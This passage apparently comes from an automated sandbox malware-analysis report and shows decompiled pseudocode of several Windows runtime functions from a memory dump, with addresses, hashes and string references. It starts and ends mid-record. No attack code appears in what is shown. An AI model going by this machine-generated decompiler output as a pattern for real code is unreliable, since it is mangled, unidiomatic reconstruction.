0x00c4b4e5
0x00c4b4c8
0x00000000
0x00000000
0x00000000
0x00bfd831
0x00000000
0x00bfd800
0x00c4b47f
0x00c4b485
0x00000000
0x00c4b485
0x00bfd665
0x00bfd652
0x00000000

Strings

@*x, xrefs: 00BFD8CE
0/x, xrefs: 00BFD69D

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: 0/x$@*x
API String ID: 0-1680401998
Opcode ID: 34c997e51b9606a133df0aee277a671dfd3ddaecd09225b5c4c0490c176be37a
Instruction ID: ffb099d87afd771ad5c4fee1f47f628eb12b499ac181db4da23fc69dfd6f7322
Opcode Fuzzy Hash: 34c997e51b9606a133df0aee277a671dfd3ddaecd09225b5c4c0490c176be37a
Instruction Fuzzy Hash: 39E1D130A01319DFDB24DF18C884BB9B7F2BF45314F1441EAEA099B291DB34AD89DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CAE539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00CAE539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E00CABBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E00CABCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E00CAAFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E00C29730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E00CAA80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E00CAA854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E00C29730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E00CAA80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E00CAA854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E00C02280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E00BFB090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E00BFFFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E00C07D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E00C9FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x00cae547
0x00cae549
0x00cae54f
0x00cae553
0x00cae557
0x00cae55a
0x00cae55c
0x00cae55f
0x00cae561
0x00cae567
0x00cae56b
0x00cae7e2
0x00000000
0x00cae571
0x00cae575
0x00cae577
0x00cae57b
0x00cae57c
0x00cae57d
0x00cae57e
0x00cae57f
0x00cae588
0x00cae58f
0x00cae591
0x00cae592
0x00cae592
0x00cae596
0x00cae59e
0x00cae5a0
0x00cae5a6
0x00cae61d
0x00cae61d
0x00cae621
0x00cae623
0x00cae630
0x00cae630
0x00cae7e6
0x00cae7eb
0x00cae7ed
0x00cae7f4
0x00cae7fa
0x00cae7ff
0x00cae7ff
0x00cae80a
0x00cae812
0x00cae812
0x00cae5ab
0x00cae5b4
0x00cae5b9
0x00cae5be
0x00cae5c0
0x00cae5c2
0x00cae5c8
0x00cae5c9
0x00cae5cb
0x00cae5cc
0x00cae5d5
0x00cae5e4
0x00cae5f1
0x00cae5f8
0x00cae5f8
0x00cae5d5
0x00cae602
0x00cae616
0x00cae63d
0x00cae644
0x00cae64d
0x00cae652
0x00cae657
0x00cae659
0x00cae65b
0x00cae661
0x00cae662
0x00cae664
0x00cae665
0x00cae66e
0x00cae67d
0x00cae68a
0x00cae691
0x00cae691
0x00cae66e
0x00cae6b0
0x00000000
0x00cae6b6
0x00cae6bd
0x00cae6c7
0x00cae6d7
0x00cae6d9
0x00cae6db
0x00cae6de
0x00cae6e3
0x00cae6f3
0x00cae6fc
0x00cae700
0x00cae700
0x00cae704
0x00cae70a
0x00cae70a
0x00cae713
0x00cae716
0x00cae719
0x00cae720
0x00cae761
0x00cae76b
0x00cae774
0x00cae77a
0x00cae77a
0x00cae78a
0x00cae791
0x00cae799
0x00cae79b
0x00cae79f
0x00cae7aa
0x00cae7c0
0x00cae7ac
0x00cae7b2
0x00cae7b9
0x00cae7b9
0x00cae7c7
0x00cae806
0x00000000
0x00cae7c9
0x00cae7d1
0x00cae7d8
0x00000000
0x00cae7d8
0x00000000
0x00000000
0x00cae722
0x00cae72e
0x00cae748
0x00cae74c
0x00cae754
0x00cae756
0x00cae75c
0x00cae75c
0x00000000
0x00cae75c
0x00cae758
0x00cae758
0x00000000
0x00cae758
0x00cae750
0x00000000
0x00000000
0x00cae752
0x00000000
0x00cae752
0x00cae730
0x00cae735
0x00cae73d
0x00cae73f
0x00000000
0x00000000
0x00cae741
0x00cae741
0x00000000
0x00cae741
0x00cae739
0x00000000
0x00000000
0x00cae73b
0x00000000
0x00cae73b
0x00cae722
0x00cae720
0x00cae6b0
0x00cae618
0x00000000
0x00cae618

Strings

`, xrefs: 00CAE670
`, xrefs: 00CAE5D7

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: e70b9e85ea9f49666cee1aa48a21360f60f318be8d2f97cc1c7bab210e53fcf6
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: 4891A0316043429FE724CF65C845B2BB7E5BF85718F14892DF9A5CB281E774E904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00C651BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00C651BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0xcc05f0);
				E00C3D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E00BFEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E00C653CA(0);
						return E00C3D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E00C2F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E00C03690(1, _t117, 0xbc1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E00C2AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L00C04620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E00C2AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E00C6500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E00C29860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x00c651be
0x00c651c3
0x00c651c8
0x00c651cd
0x00c651d0
0x00c651d3
0x00c651d8
0x00c651db
0x00c651de
0x00c651e0
0x00c651e3
0x00c651e6
0x00c651e8
0x00c65342
0x00c65351
0x00c65356
0x00c6535a
0x00c65360
0x00c65363
0x00c65366
0x00c65369
0x00c65369
0x00c6536b
0x00c6536b
0x00c65370
0x00c653a3
0x00c653a4
0x00c653a6
0x00c653ab
0x00c653ab
0x00c653ae
0x00c653ae
0x00c653b5
0x00c653bf
0x00c653bf
0x00c65375
0x00c65396
0x00c653a0
0x00c653a0
0x00000000
0x00c65396
0x00c65377
0x00c65379
0x00c6537f
0x00c6538c
0x00c65390
0x00000000
0x00c65390
0x00c651ee
0x00c651f1
0x00c65301
0x00c65310
0x00c65315
0x00c65318
0x00c6531b
0x00c65320
0x00c6532e
0x00c65331
0x00000000
0x00c65331
0x00c65328
0x00c65329
0x00000000
0x00c65329
0x00c651fa
0x00c65235
0x00c65236
0x00c65239
0x00c6523f
0x00c65240
0x00c65241
0x00c65242
0x00c65246
0x00c65247
0x00c6524e
0x00c65251
0x00c65267
0x00c65269
0x00c6526e
0x00c6527d
0x00c6527e
0x00c65281
0x00c65282
0x00c65287
0x00c65288
0x00c6528a
0x00c6528f
0x00c65294
0x00000000
0x00000000
0x00c6529a
0x00c6529c
0x00c6529e
0x00c6529e
0x00c652a4
0x00c652b0
0x00000000
0x00000000
0x00c652ba
0x00c652bc
0x00c652bc
0x00c652d4
0x00c652d9
0x00c652dc
0x00c652e1
0x00000000
0x00000000
0x00c652e7
0x00c652f4
0x00000000
0x00c652f4
0x00c65270
0x00000000
0x00c65270
0x00c651fc
0x00c651fd
0x00c65202
0x00c65203
0x00c65205
0x00c6520a
0x00c6520f
0x00000000
0x00000000
0x00c6521b
0x00c65226
0x00c6522b
0x00c6521d
0x00c6521d
0x00c65222
0x00c65222
0x00c6522d
0x00000000

Strings

Legacy, xrefs: 00C65226
UEFI, xrefs: 00C6521D

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: d3cb6b33156b53faac72b195292a3dc1f3fb49d1d428fc16e5df2c8d2ebe53f5
Instruction ID: b0db37756f6eed0c4c5a27a96545db9a6790864d0b476d2619c0ce2f767bf5c6
Opcode Fuzzy Hash: d3cb6b33156b53faac72b195292a3dc1f3fb49d1d428fc16e5df2c8d2ebe53f5
Instruction Fuzzy Hash: 1F517DB1E00A199FDB24DFA9C890BAEBBF8FF48740F24402DE559EB291D6719941DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00C0B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0xcdd360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E00C07D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E00CB8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E00C29E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E00C2B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E00C2CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E00C07D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E00CB8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E00C2AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0xcd8628; // 0x0
								_v68 = _t77;
								_t78 =  *0xcd862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0xcd8628; // 0x0
							_t116 =  *0xcd862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x00c0b94c
0x00c0b956
0x00c0b95c
0x00c0b95e
0x00c0b964
0x00c0b969
0x00c0b96d
0x00c0b96d
0x00c0b970
0x00c0b974
0x00c0b97a
0x00c0badf
0x00c0badf
0x00c0bae2
0x00c0bae4
0x00c0bae6
0x00c0baf0
0x00c52cb8
0x00c0baf6
0x00c0baf6
0x00c0baf6
0x00c0bafd
0x00c0bb1f
0x00c0bb1f
0x00c0baff
0x00c0bb00
0x00c0bb00
0x00c0bb03
0x00c0bb03
0x00c0bacb
0x00c0bacf
0x00c0bad0
0x00c0bad1
0x00c0badc
0x00c0badc
0x00c0b980
0x00c0b980
0x00c0b988
0x00c0b98b
0x00c0b98d
0x00c0b990
0x00c0b993
0x00c0b999
0x00c0b99b
0x00c0b9a1
0x00c0b9a5
0x00c0b9aa
0x00c0b9b0
0x00c0b9bb
0x00c0b9c0
0x00c0b9c3
0x00c0b9ca
0x00c0b9cc
0x00c0b9cf
0x00c0b9d3
0x00c0b9d7
0x00c0ba94
0x00c0ba94
0x00c0ba98
0x00c0baa3
0x00c52ccb
0x00c0baa9
0x00c0baa9
0x00c0baa9
0x00c0bab1
0x00c52cd5
0x00c52cdd
0x00c52cdd
0x00c0babb
0x00c0babc
0x00c0bac2
0x00c0bac3
0x00c0bac3
0x00c0bac6
0x00000000
0x00c0b9dd
0x00c0b9dd
0x00c0b9e7
0x00c0b9e7
0x00c0b9ec
0x00c0b9ec
0x00c0b9f1
0x00c0b9f5
0x00c0b9fa
0x00c0ba00
0x00c0ba0c
0x00c0ba10
0x00c0ba10
0x00c0ba12
0x00c0ba18
0x00000000
0x00000000
0x00c0bb26
0x00c0bb26
0x00c0ba1e
0x00c0ba1e
0x00c0ba23
0x00c0ba25
0x00c0ba2c
0x00c0ba30
0x00c0ba35
0x00c0ba35
0x00c0ba41
0x00c0ba46
0x00c0ba4c
0x00c0ba50
0x00c0ba54
0x00c0ba6a
0x00c0ba6e
0x00c0ba70
0x00c0ba74
0x00c0ba78
0x00c0ba7a
0x00c0ba7c
0x00c0ba8e
0x00c0ba90
0x00c0ba92
0x00c0bb14
0x00c0bb14
0x00c0bb16
0x00c0bb16
0x00000000
0x00c0ba7c
0x00c0bb0a
0x00c0bb0d
0x00000000
0x00000000
0x00000000
0x00c0bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00C0B9A5

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 904d585c4dd46d9ae60dbd96950d1b863fe76b9f37b2b0e3fcf5f032175f8152
Instruction ID: 0b4388904ee4c1536d0937afbf370d222ee793ec107a5bcd99b388251e1d0621
Opcode Fuzzy Hash: 904d585c4dd46d9ae60dbd96950d1b863fe76b9f37b2b0e3fcf5f032175f8152
Instruction Fuzzy Hash: C7512671A08351CFC720CF69C480A2ABBE5FB88710F24496EF9A597395DB70ED44DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00BEB171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00BEB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0xcbf7a8);
				E00C3D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E00C3D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E00C2D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E00C2F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L00C3DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
